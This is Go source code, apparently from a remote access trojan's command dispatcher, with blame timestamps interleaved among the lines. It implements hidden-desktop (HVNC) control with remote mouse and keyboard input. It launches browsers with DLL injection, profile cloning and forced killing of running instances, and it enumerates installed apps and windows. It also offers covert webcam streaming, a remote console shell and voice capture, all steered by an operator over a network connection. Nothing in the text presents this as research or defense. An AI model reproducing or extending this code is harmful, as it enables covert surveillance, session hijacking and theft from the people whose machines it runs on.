log . Printf ( "hvnc: start requested (autoStartExplorer=%v)" , autoStartExplorer )
_ = HVNCStart ( hvncCtx , env , autoStartExplorer )
2026-03-05 00:04:26 -06:00
close ( done )
})
env . HVNCMu . Unlock ()
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "hvnc_stop" :
env . HVNCMu . Lock ()
log . Printf ( "hvnc: stop requested" )
2026-03-09 19:16:13 -05:00
env . HVNCMouseControl = false
env . HVNCKeyboardControl = false
env . HVNCCursorCapture = false
clearHVNCInputQueue ()
2026-03-05 00:04:26 -06:00
if env . HVNCCancel != nil {
env . HVNCCancel ()
}
waitStreamStop ( env . HVNCDone , "hvnc" )
env . HVNCCancel = nil
env . HVNCDone = nil
env . HVNCMu . Unlock ()
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "hvnc_select_display" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
disp := 0
if payload != nil {
displayVal := payload [ "display" ]
if v , ok := displayVal .( int8 ); ok {
disp = int ( v )
} else if v , ok := displayVal .( int16 ); ok {
disp = int ( v )
} else if v , ok := displayVal .( int32 ); ok {
disp = int ( v )
} else if v , ok := displayVal .( int64 ); ok {
disp = int ( v )
} else if v , ok := displayVal .( int ); ok {
disp = v
} else if v , ok := displayVal .( uint8 ); ok {
disp = int ( v )
} else if v , ok := displayVal .( float64 ); ok {
disp = int ( v )
}
}
log . Printf ( "hvnc: select display %d" , disp )
_ = HVNCSelect ( ctx , env , disp )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "hvnc_enable_mouse" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
enabled := true
if payload != nil {
if v , ok := payload [ "enabled" ].( bool ); ok {
enabled = v
}
}
log . Printf ( "hvnc: mouse control %v" , enabled )
_ = HVNCMouseControl ( ctx , env , enabled )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "hvnc_enable_keyboard" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
enabled := true
if payload != nil {
if v , ok := payload [ "enabled" ].( bool ); ok {
enabled = v
}
}
log . Printf ( "hvnc: keyboard control %v" , enabled )
_ = HVNCKeyboardControl ( ctx , env , enabled )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "hvnc_enable_cursor" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
enabled := false
if payload != nil {
if v , ok := payload [ "enabled" ].( bool ); ok {
enabled = v
}
}
log . Printf ( "hvnc: cursor capture %v" , enabled )
_ = HVNCCursorControl ( ctx , env , enabled )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-04-16 10:01:49 -05:00
case "hvnc_enable_dxgi" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
dxgiEnabled := true
if payload != nil {
if v , ok := payload [ "enabled" ].( bool ); ok {
dxgiEnabled = v
}
}
log . Printf ( "hvnc: DXGI capture %v" , dxgiEnabled )
capture . SetHVNCDXGIEnabled ( dxgiEnabled )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-04-24 19:20:58 -05:00
case "hvnc_enable_uia" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
uiaEnabled := true
if payload != nil {
if v , ok := payload [ "enabled" ].( bool ); ok {
uiaEnabled = v
}
}
log . Printf ( "hvnc: UIA support %v" , uiaEnabled )
capture . SetHVNCUIAEnabled ( uiaEnabled )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-04-16 10:01:49 -05:00
case "hvnc_set_resolution" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
maxH := 1080
if payload != nil {
if v , ok := payloadInt ( payload , "maxHeight" ); ok {
maxH = v
}
}
log . Printf ( "hvnc: set resolution maxHeight=%d" , maxH )
capture . SetMaxResolution ( maxH )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-06-12 09:14:49 -05:00
case "hvnc_set_fps" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
fps := 120
if payload != nil {
if v , ok := payloadInt ( payload , "fps" ); ok {
fps = v
}
}
fps = SetHVNCTargetFPS ( fps )
log . Printf ( "hvnc: set target fps=%d" , fps )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-03-05 00:04:26 -06:00
case "hvnc_set_quality" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
quality := 90
codec := ""
if payload != nil {
if q , ok := payloadInt ( payload , "quality" ); ok {
quality = q
}
if v , ok := payload [ "codec" ].( string ); ok {
codec = v
}
}
log . Printf ( "hvnc: set quality=%d codec=%s" , quality , codec )
capture . SetQualityAndCodec ( quality , codec )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-06-23 23:04:01 -05:00
case "hvnc_request_keyframe" :
log . Printf ( "hvnc: request full frame" )
capture . RequestHVNCFullFrame ()
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-03-05 00:04:26 -06:00
case "hvnc_mouse_move" :
if ! env . HVNCMouseControl {
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
}
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
x , y := int32 ( 0 ), int32 ( 0 )
if payload != nil {
switch v := payload [ "x" ].( type ) {
case float64 :
x = int32 ( v )
case float32 :
x = int32 ( v )
case int :
x = int32 ( v )
case int8 :
x = int32 ( v )
case int16 :
x = int32 ( v )
case int32 :
x = v
case int64 :
x = int32 ( v )
case uint :
x = int32 ( v )
case uint8 :
x = int32 ( v )
case uint16 :
x = int32 ( v )
case uint32 :
x = int32 ( v )
case uint64 :
x = int32 ( v )
}
switch v := payload [ "y" ].( type ) {
case float64 :
y = int32 ( v )
case float32 :
y = int32 ( v )
case int :
y = int32 ( v )
case int8 :
y = int32 ( v )
case int16 :
y = int32 ( v )
case int32 :
y = v
case int64 :
y = int32 ( v )
case uint :
y = int32 ( v )
case uint8 :
y = int32 ( v )
case uint16 :
y = int32 ( v )
case uint32 :
y = int32 ( v )
case uint64 :
y = int32 ( v )
}
}
2026-03-09 19:16:13 -05:00
enqueueHVNCInput ( hvncInputEvent { kind : hvncInputMouseMove , display : env . HVNCSelectedDisplay , x : x , y : y })
2026-03-05 00:04:26 -06:00
return nil
case "hvnc_mouse_down" :
if ! env . HVNCMouseControl {
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
}
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
btn := 0
x , y := int32 ( 0 ), int32 ( 0 )
if payload != nil {
switch v := payload [ "button" ].( type ) {
case float64 :
btn = int ( v )
case float32 :
btn = int ( v )
case int :
btn = v
case int8 :
btn = int ( v )
case int16 :
btn = int ( v )
case int32 :
btn = int ( v )
case int64 :
btn = int ( v )
case uint :
btn = int ( v )
case uint8 :
btn = int ( v )
case uint16 :
btn = int ( v )
case uint32 :
btn = int ( v )
case uint64 :
btn = int ( v )
}
switch v := payload [ "x" ].( type ) {
case float64 :
x = int32 ( v )
case float32 :
x = int32 ( v )
case int :
x = int32 ( v )
case int8 :
x = int32 ( v )
case int16 :
x = int32 ( v )
case int32 :
x = v
case int64 :
x = int32 ( v )
case uint :
x = int32 ( v )
case uint8 :
x = int32 ( v )
case uint16 :
x = int32 ( v )
case uint32 :
x = int32 ( v )
case uint64 :
x = int32 ( v )
}
switch v := payload [ "y" ].( type ) {
case float64 :
y = int32 ( v )
case float32 :
y = int32 ( v )
case int :
y = int32 ( v )
case int8 :
y = int32 ( v )
case int16 :
y = int32 ( v )
case int32 :
y = v
case int64 :
y = int32 ( v )
case uint :
y = int32 ( v )
case uint8 :
y = int32 ( v )
case uint16 :
y = int32 ( v )
case uint32 :
y = int32 ( v )
case uint64 :
y = int32 ( v )
}
}
2026-03-09 19:16:13 -05:00
enqueueHVNCInput ( hvncInputEvent { kind : hvncInputMouseDown , display : env . HVNCSelectedDisplay , button : btn , x : x , y : y })
2026-03-05 00:04:26 -06:00
return nil
case "hvnc_mouse_up" :
if ! env . HVNCMouseControl {
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
}
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
btn := 0
x , y := int32 ( 0 ), int32 ( 0 )
if payload != nil {
switch v := payload [ "button" ].( type ) {
case float64 :
btn = int ( v )
case float32 :
btn = int ( v )
case int :
btn = v
case int8 :
btn = int ( v )
case int16 :
btn = int ( v )
case int32 :
btn = int ( v )
case int64 :
btn = int ( v )
case uint :
btn = int ( v )
case uint8 :
btn = int ( v )
case uint16 :
btn = int ( v )
case uint32 :
btn = int ( v )
case uint64 :
btn = int ( v )
}
switch v := payload [ "x" ].( type ) {
case float64 :
x = int32 ( v )
case float32 :
x = int32 ( v )
case int :
x = int32 ( v )
case int8 :
x = int32 ( v )
case int16 :
x = int32 ( v )
case int32 :
x = v
case int64 :
x = int32 ( v )
case uint :
x = int32 ( v )
case uint8 :
x = int32 ( v )
case uint16 :
x = int32 ( v )
case uint32 :
x = int32 ( v )
case uint64 :
x = int32 ( v )
}
switch v := payload [ "y" ].( type ) {
case float64 :
y = int32 ( v )
case float32 :
y = int32 ( v )
case int :
y = int32 ( v )
case int8 :
y = int32 ( v )
case int16 :
y = int32 ( v )
case int32 :
y = v
case int64 :
y = int32 ( v )
case uint :
y = int32 ( v )
case uint8 :
y = int32 ( v )
case uint16 :
y = int32 ( v )
case uint32 :
y = int32 ( v )
case uint64 :
y = int32 ( v )
}
}
2026-03-09 19:16:13 -05:00
enqueueHVNCInput ( hvncInputEvent { kind : hvncInputMouseUp , display : env . HVNCSelectedDisplay , button : btn , x : x , y : y })
2026-03-05 00:04:26 -06:00
return nil
case "hvnc_mouse_wheel" :
if ! env . HVNCMouseControl {
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
}
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
delta := int32 ( 0 )
x , y := int32 ( 0 ), int32 ( 0 )
if payload != nil {
switch v := payload [ "delta" ].( type ) {
case float64 :
delta = int32 ( v )
case float32 :
delta = int32 ( v )
case int :
delta = int32 ( v )
case int8 :
delta = int32 ( v )
case int16 :
delta = int32 ( v )
case int32 :
delta = v
case int64 :
delta = int32 ( v )
case uint :
delta = int32 ( v )
case uint8 :
delta = int32 ( v )
case uint16 :
delta = int32 ( v )
case uint32 :
delta = int32 ( v )
case uint64 :
delta = int32 ( v )
}
switch v := payload [ "x" ].( type ) {
case float64 :
x = int32 ( v )
case float32 :
x = int32 ( v )
case int :
x = int32 ( v )
case int8 :
x = int32 ( v )
case int16 :
x = int32 ( v )
case int32 :
x = v
case int64 :
x = int32 ( v )
case uint :
x = int32 ( v )
case uint8 :
x = int32 ( v )
case uint16 :
x = int32 ( v )
case uint32 :
x = int32 ( v )
case uint64 :
x = int32 ( v )
}
switch v := payload [ "y" ].( type ) {
case float64 :
y = int32 ( v )
case float32 :
y = int32 ( v )
case int :
y = int32 ( v )
case int8 :
y = int32 ( v )
case int16 :
y = int32 ( v )
case int32 :
y = v
case int64 :
y = int32 ( v )
case uint :
y = int32 ( v )
case uint8 :
y = int32 ( v )
case uint16 :
y = int32 ( v )
case uint32 :
y = int32 ( v )
case uint64 :
y = int32 ( v )
}
}
2026-03-09 19:16:13 -05:00
enqueueHVNCInput ( hvncInputEvent { kind : hvncInputMouseWheel , display : env . HVNCSelectedDisplay , delta : delta , x : x , y : y })
2026-03-05 00:04:26 -06:00
return nil
case "hvnc_key_down" :
if ! env . HVNCKeyboardControl {
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
}
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
code := ""
if payload != nil {
if v , ok := payload [ "code" ].( string ); ok {
code = v
}
}
if vk := keyCodeToVKHVNC ( code ); vk != 0 {
2026-03-09 19:16:13 -05:00
enqueueHVNCInput ( hvncInputEvent { kind : hvncInputKeyDown , vk : vk })
2026-03-05 00:04:26 -06:00
}
return nil
case "hvnc_key_up" :
if ! env . HVNCKeyboardControl {
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
}
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
code := ""
if payload != nil {
if v , ok := payload [ "code" ].( string ); ok {
code = v
}
}
if vk := keyCodeToVKHVNC ( code ); vk != 0 {
2026-03-09 19:16:13 -05:00
enqueueHVNCInput ( hvncInputEvent { kind : hvncInputKeyUp , vk : vk })
2026-03-05 00:04:26 -06:00
}
return nil
case "hvnc_start_process" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
filePath := ""
2026-03-21 17:42:31 -05:00
killExe := ""
2026-04-17 18:43:16 -05:00
operaPatch := false
2026-05-15 21:01:42 -05:00
display := 0
2026-03-05 00:04:26 -06:00
if payload != nil {
if v , ok := payload [ "path" ].( string ); ok {
filePath = v
}
2026-03-21 17:42:31 -05:00
if v , ok := payload [ "kill_exe" ].( string ); ok {
killExe = v
}
2026-04-17 18:43:16 -05:00
if v , ok := payload [ "opera_patch" ].( bool ); ok {
operaPatch = v
}
2026-05-15 21:01:42 -05:00
if v , ok := payload [ "display" ].( float64 ); ok {
display = int ( v )
}
2026-03-05 00:04:26 -06:00
}
2026-05-15 21:01:42 -05:00
log . Printf ( "hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)" , filePath , killExe , operaPatch , display )
2026-03-05 00:04:26 -06:00
sendCommandResultSafe ( env , cmdID , true , "" )
2026-03-09 19:16:13 -05:00
goSafe ( "hvnc_start_process" , nil , func () {
2026-05-15 18:29:25 -05:00
sendLaunchStatus := func ( step string , success bool , detail string ) {
_ = wire . WriteMsg ( context . Background (), env . Conn , wire . HVNCBrowserLaunchStatus {
Type : "hvnc_browser_launch_status" ,
Browser : filepath . Base ( strings . Trim ( filePath , `"` )),
Step : step ,
Success : success ,
Detail : detail ,
})
}
2026-03-21 17:42:31 -05:00
if killExe != "" {
2026-05-15 18:29:25 -05:00
sendLaunchStatus ( "kill" , true , "killing " + killExe )
2026-03-21 17:42:31 -05:00
out , err := exec . Command ( "taskkill" , "/f" , "/im" , killExe ). CombinedOutput ()
log . Printf ( "hvnc: taskkill /f /im %s: %s (err=%v)" , killExe , strings . TrimSpace ( string ( out )), err )
2026-05-15 18:29:25 -05:00
if err != nil {
sendLaunchStatus ( "kill" , false , fmt . Sprintf ( "taskkill failed: %s" , strings . TrimSpace ( string ( out ))))
}
2026-03-21 17:42:31 -05:00
}
2026-05-15 18:29:25 -05:00
sendLaunchStatus ( "launch" , true , fmt . Sprintf ( "starting %s" , filePath ))
2026-05-15 21:01:42 -05:00
if err := capture . StartHVNCProcess ( filePath , operaPatch , display ); err != nil {
2026-03-09 19:16:13 -05:00
log . Printf ( "hvnc: start process failed for %q: %v" , filePath , err )
2026-05-15 18:29:25 -05:00
sendLaunchStatus ( "launch" , false , fmt . Sprintf ( "failed: %v" , err ))
} else {
sendLaunchStatus ( "launch" , true , "process created" )
2026-03-09 19:16:13 -05:00
}
})
2026-03-05 00:04:26 -06:00
return nil
2026-03-08 22:31:11 -05:00
2026-04-24 09:53:28 -05:00
case "hvnc_kill_all" :
log . Printf ( "hvnc: kill all processes on hidden desktop" )
sendCommandResultSafe ( env , cmdID , true , "" )
goSafe ( "hvnc_kill_all" , nil , func () {
if err := capture . HVNCKillAll (); err != nil {
log . Printf ( "hvnc: kill all failed: %v" , err )
}
})
return nil
2026-05-20 15:26:41 -05:00
case "hvnc_window_list" :
log . Printf ( "hvnc: window list requested" )
sendCommandResultSafe ( env , cmdID , true , "" )
goSafe ( "hvnc_window_list" , nil , func () {
windows , monitors := capture . HVNCEnumWindows ()
winEntries := make ([] wire . HVNCWindowEntry , 0 , len ( windows ))
for _ , w := range windows {
winEntries = append ( winEntries , wire . HVNCWindowEntry {
Title : w . Title ,
X : w . X ,
Y : w . Y ,
Width : w . Width ,
Height : w . Height ,
PID : w . PID ,
ProcessName : w . ProcessName ,
Monitor : w . Monitor ,
})
}
monEntries := make ([] wire . HVNCMonitorEntry , 0 , len ( monitors ))
for _ , m := range monitors {
monEntries = append ( monEntries , wire . HVNCMonitorEntry {
Index : m . Index ,
Name : m . Name ,
X : m . X ,
Y : m . Y ,
Width : m . Width ,
Height : m . Height ,
Primary : m . Primary ,
})
}
_ = wire . WriteMsg ( context . Background (), env . Conn , wire . HVNCWindowListResult {
Type : "hvnc_window_list_result" ,
Windows : winEntries ,
Monitors : monEntries ,
})
log . Printf ( "hvnc: window list sent: %d windows, %d monitors" , len ( winEntries ), len ( monEntries ))
})
return nil
2026-04-17 09:56:04 -05:00
case "hvnc_browser_check" :
log . Printf ( "hvnc: browser availability check requested" )
sendCommandResultSafe ( env , cmdID , true , "" )
goSafe ( "hvnc_browser_check" , nil , func () {
browsers := capture . CheckInstalledBrowsers ()
_ = wire . WriteMsg ( context . Background (), env . Conn , wire . HVNCBrowserCheckResult {
Type : "hvnc_browser_check_result" ,
Browsers : browsers ,
})
log . Printf ( "hvnc: browser check complete: %v" , browsers )
})
return nil
2026-05-10 00:03:49 -05:00
case "hvnc_installed_apps" :
log . Printf ( "hvnc: installed apps enumeration requested" )
sendCommandResultSafe ( env , cmdID , true , "" )
goSafe ( "hvnc_installed_apps" , nil , func () {
const batchSize = 15
apps := enumerateInstalledApps ()
log . Printf ( "hvnc: enumerated %d installed apps, extracting icons in batches" , len ( apps ))
var batch [] wire . HVNCInstalledApp
sent := 0
for _ , a := range apps {
batch = append ( batch , wire . HVNCInstalledApp {
Name : a . name ,
ExePath : a . exePath ,
Icon : extractIconBase64 ( a . exePath ),
})
if len ( batch ) >= batchSize {
_ = wire . WriteMsg ( context . Background (), env . Conn , wire . HVNCInstalledAppsResult {
Type : "hvnc_installed_apps_result" ,
Apps : batch ,
})
sent += len ( batch )
batch = batch [: 0 ]
}
}
_ = wire . WriteMsg ( context . Background (), env . Conn , wire . HVNCInstalledAppsResult {
Type : "hvnc_installed_apps_result" ,
Apps : batch ,
Done : true ,
})
sent += len ( batch )
log . Printf ( "hvnc: installed apps complete, sent %d apps" , sent )
})
return nil
2026-03-21 17:42:31 -05:00
case "hvnc_lookup" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
exeName := ""
if payload != nil {
if v , ok := payload [ "exe" ].( string ); ok {
exeName = v
}
}
if exeName == "" {
sendCommandResultSafe ( env , cmdID , false , "no exe name provided" )
return nil
}
log . Printf ( "hvnc: lookup exe %q" , exeName )
sendCommandResultSafe ( env , cmdID , true , "" )
goSafe ( "hvnc_lookup" , nil , func () {
filesearch . LookupExe ( exeName , 8 , func ( path string ) {
_ = wire . WriteMsg ( context . Background (), env . Conn , wire . HVNCLookupResult {
Type : "hvnc_lookup_result" ,
Exe : exeName ,
Path : path ,
Done : false ,
})
})
_ = wire . WriteMsg ( context . Background (), env . Conn , wire . HVNCLookupResult {
Type : "hvnc_lookup_result" ,
Exe : exeName ,
Path : "" ,
Done : true ,
})
log . Printf ( "hvnc: lookup complete for %q" , exeName )
})
return nil
2026-03-11 23:11:44 -05:00
case "hvnc_start_process_injected" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
filePath := ""
searchPath := ""
replacePath := ""
2026-05-15 21:01:42 -05:00
display := 0
2026-03-11 23:11:44 -05:00
if payload != nil {
if v , ok := payload [ "path" ].( string ); ok {
filePath = v
}
if v , ok := payload [ "search_path" ].( string ); ok {
searchPath = v
}
if v , ok := payload [ "replace_path" ].( string ); ok {
replacePath = v
}
2026-05-15 21:01:42 -05:00
if v , ok := payload [ "display" ].( float64 ); ok {
display = int ( v )
}
2026-03-11 23:11:44 -05:00
}
dllBytes := extractDLLBytes ( payload )
if len ( dllBytes ) == 0 {
sendCommandResultSafe ( env , cmdID , false , "no DLL provided" )
return nil
}
2026-04-16 10:01:49 -05:00
captureDllBytes := extractCaptureDLLBytes ( payload )
2026-05-15 21:01:42 -05:00
log . Printf ( "hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d" , filePath , searchPath , replacePath , display , len ( dllBytes ), len ( captureDllBytes ))
2026-03-11 23:11:44 -05:00
sendCommandResultSafe ( env , cmdID , true , "" )
goSafe ( "hvnc_start_process_injected" , nil , func () {
2026-05-15 21:01:42 -05:00
if _ , err := capture . StartHVNCProcessInjected ( filePath , dllBytes , captureDllBytes , searchPath , replacePath , display ); err != nil {
2026-03-11 23:11:44 -05:00
log . Printf ( "hvnc: injected process failed for %q: %v" , filePath , err )
}
})
return nil
case "hvnc_start_chrome_injected" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
chromePath := ""
if payload != nil {
if v , ok := payload [ "path" ].( string ); ok {
chromePath = v
}
}
dllBytes := extractDLLBytes ( payload )
if len ( dllBytes ) == 0 {
sendCommandResultSafe ( env , cmdID , false , "no DLL provided" )
return nil
}
log . Printf ( "hvnc: start chrome injected path=%q dllSize=%d" , chromePath , len ( dllBytes ))
2026-04-16 10:01:49 -05:00
captureDllBytes := extractCaptureDLLBytes ( payload )
2026-03-11 23:11:44 -05:00
sendCommandResultSafe ( env , cmdID , true , "" )
goSafe ( "hvnc_start_chrome_injected" , nil , func () {
2026-04-16 10:01:49 -05:00
if err := capture . StartHVNCChromeInjected ( chromePath , dllBytes , captureDllBytes ); err != nil {
2026-03-11 23:11:44 -05:00
log . Printf ( "hvnc: chrome injected failed: %v" , err )
}
})
return nil
case "hvnc_start_browser_injected" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
browser := ""
exePath := ""
clone := true
2026-03-12 01:06:57 -05:00
cloneLite := false
2026-03-17 23:55:39 -05:00
killIfRunning := false
2026-05-15 21:01:42 -05:00
display := 0
2026-03-11 23:11:44 -05:00
if payload != nil {
if v , ok := payload [ "browser" ].( string ); ok {
browser = v
}
if v , ok := payload [ "path" ].( string ); ok {
exePath = v
}
if v , ok := payload [ "clone" ].( bool ); ok {
clone = v
}
2026-03-12 01:06:57 -05:00
if v , ok := payload [ "cloneLite" ].( bool ); ok {
cloneLite = v
}
2026-03-14 20:11:47 -05:00
if v , ok := payload [ "killIfRunning" ].( bool ); ok {
killIfRunning = v
}
2026-05-15 21:01:42 -05:00
if v , ok := payload [ "display" ].( float64 ); ok {
display = int ( v )
}
2026-03-11 23:11:44 -05:00
}
dllBytes := extractDLLBytes ( payload )
if len ( dllBytes ) == 0 {
sendCommandResultSafe ( env , cmdID , false , "no DLL provided" )
return nil
}
if browser == "" {
sendCommandResultSafe ( env , cmdID , false , "no browser specified" )
return nil
}
2026-05-15 21:01:42 -05:00
log . Printf ( "hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d" , browser , exePath , clone , cloneLite , killIfRunning , display , len ( dllBytes ))
2026-04-16 10:01:49 -05:00
captureDllBytes := extractCaptureDLLBytes ( payload )
2026-03-11 23:11:44 -05:00
sendCommandResultSafe ( env , cmdID , true , "" )
goSafe ( "hvnc_start_browser_injected" , nil , func () {
2026-03-12 14:41:03 -05:00
var onProgress capture . CloneProgressFunc
if clone {
onProgress = func ( percent int , copiedBytes , totalBytes int64 , status string ) {
_ = wire . WriteMsg ( context . Background (), env . Conn , wire . HVNCCloneProgress {
Type : "hvnc_clone_progress" ,
Browser : browser ,
Percent : percent ,
CopiedBytes : copiedBytes ,
TotalBytes : totalBytes ,
Status : status ,
})
}
}
2026-04-16 14:22:28 -05:00
onDXGIStatus := func ( success bool , gpuPID uint32 , message string ) {
_ = wire . WriteMsg ( context . Background (), env . Conn , wire . HVNCDXGIStatus {
Type : "hvnc_dxgi_status" ,
Success : success ,
GPUPid : gpuPID ,
Message : message ,
})
}
2026-05-15 18:29:25 -05:00
onLaunchStatus := func ( step string , success bool , detail string ) {
_ = wire . WriteMsg ( context . Background (), env . Conn , wire . HVNCBrowserLaunchStatus {
Type : "hvnc_browser_launch_status" ,
Browser : browser ,
Step : step ,
Success : success ,
Detail : detail ,
})
}
2026-05-15 21:01:42 -05:00
if err := capture . StartHVNCBrowserInjected ( browser , exePath , dllBytes , captureDllBytes , clone , cloneLite , killIfRunning , display , onProgress , onDXGIStatus , onLaunchStatus ); err != nil {
2026-03-11 23:11:44 -05:00
log . Printf ( "hvnc: browser injected failed for %q: %v" , browser , err )
}
})
return nil
2026-03-08 22:31:11 -05:00
case "webcam_start" :
env . WebcamMu . Lock ()
if env . WebcamCancel != nil {
env . WebcamCancel ()
waitStreamStop ( env . WebcamDone , "webcam" )
}
webcamCtx , cancel := context . WithCancel ( ctx )
env . WebcamCancel = cancel
done := make ( chan struct {})
env . WebcamDone = done
goSafe ( "webcam stream" , env . Cancel , func () {
log . Printf ( "webcam: start requested" )
_ = WebcamStart ( webcamCtx , env )
close ( done )
})
env . WebcamMu . Unlock ()
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "webcam_list" :
devices , err := capture . ListWebcams ()
if err != nil {
sendCommandResultSafe ( env , cmdID , false , err . Error ())
return nil
}
out := make ([] wire . WebcamDevice , 0 , len ( devices ))
for _ , dev := range devices {
out = append ( out , wire . WebcamDevice { Index : dev . Index , Name : dev . Name , MaxFPS : dev . MaxFPS })
}
_ = wire . WriteMsg ( ctx , env . Conn , wire . WebcamDevices { Type : "webcam_devices" , Devices : out , Selected : env . WebcamDeviceIndex })
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "webcam_select" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
index := 0
if payload != nil {
if n , ok := payloadInt ( payload , "index" ); ok {
index = n
}
}
env . WebcamDeviceIndex = index
capture . CleanupWebcam ()
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "webcam_set_fps" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
env . WebcamMu . Lock ()
isStreaming := env . WebcamCancel != nil
env . WebcamMu . Unlock ()
if isStreaming {
sendCommandResultSafe ( env , cmdID , false , "stop webcam before changing fps" )
return nil
}
fps := env . WebcamFPS
useMax := env . WebcamUseMaxFPS
if payload != nil {
if n , ok := payloadInt ( payload , "fps" ); ok {
fps = n
}
if v , ok := payload [ "useMax" ].( bool ); ok {
useMax = v
}
}
if fps < 1 {
fps = 30
}
if fps > 120 {
fps = 120
}
clampedFPS , clampErr := capture . ClampWebcamFPS ( env . WebcamDeviceIndex , fps , useMax )
if clampErr != nil {
log . Printf ( "webcam: fps clamp fallback requested=%d err=%v" , fps , clampErr )
} else {
fps = clampedFPS
}
env . WebcamFPS = fps
env . WebcamUseMaxFPS = useMax
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-04-03 10:21:26 -05:00
case "webcam_set_quality" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
quality := 0
codec := ""
if payload != nil {
if q , ok := payloadInt ( payload , "quality" ); ok {
quality = q
}
if v , ok := payload [ "codec" ].( string ); ok {
codec = v
}
}
if quality < 0 {
quality = 0
}
if quality > 100 {
quality = 100
}
switch codec {
case "jpeg" , "h264" :
// valid
default :
codec = "jpeg"
}
env . WebcamQuality = quality
env . WebcamCodec = codec
log . Printf ( "webcam: set quality=%d codec=%s" , quality , codec )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-03-08 22:31:11 -05:00
case "webcam_stop" :
env . WebcamMu . Lock ()
log . Printf ( "webcam: stop requested" )
if env . WebcamCancel != nil {
env . WebcamCancel ()
}
waitStreamStop ( env . WebcamDone , "webcam" )
env . WebcamCancel = nil
env . WebcamDone = nil
env . WebcamMu . Unlock ()
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-03-05 00:04:26 -06:00
case "console_start" :
sessionID , _ := envelopePayloadString ( envelope , "sessionId" )
cols , rows := envelopePayloadInts ( envelope )
if sessionID == "" {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : "missing session id" })
}
2026-05-13 22:32:49 -05:00
if err := env . Console . Start ( ctx , runtime . ConsoleStartRequest { SessionID : sessionID , Cols : cols , Rows : rows }); err != nil {
2026-03-05 00:04:26 -06:00
_ = wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : err . Error ()})
return nil
}
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
case "console_input" :
sessionID , _ := envelopePayloadString ( envelope , "sessionId" )
data , _ := envelopePayloadString ( envelope , "data" )
if sessionID != "" && data != "" {
2026-05-13 22:32:49 -05:00
_ = env . Console . Write ( ctx , sessionID , data )
2026-03-05 00:04:26 -06:00
}
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
case "console_stop" :
sessionID , _ := envelopePayloadString ( envelope , "sessionId" )
if sessionID != "" {
2026-05-13 22:32:49 -05:00
env . Console . Stop ( sessionID )
2026-03-05 00:04:26 -06:00
}
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
case "console_resize" :
sessionID , _ := envelopePayloadString ( envelope , "sessionId" )
cols , rows := envelopePayloadInts ( envelope )
2026-05-13 22:32:49 -05:00
if sessionID != "" {
_ = env . Console . Resize ( sessionID , cols , rows )
}
2026-03-05 00:04:26 -06:00
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
2026-03-07 23:27:57 -06:00
case "voice_session_start" :
sessionID , _ := envelopePayloadString ( envelope , "sessionId" )
source := "default"
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload != nil {
if v , ok := payload [ "source" ].( string ); ok && strings . TrimSpace ( v ) != "" {
source = strings . TrimSpace ( v )
}
}
if err := startVoiceSession ( ctx , env , sessionID , source ); err != nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : err . Error ()})
}
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
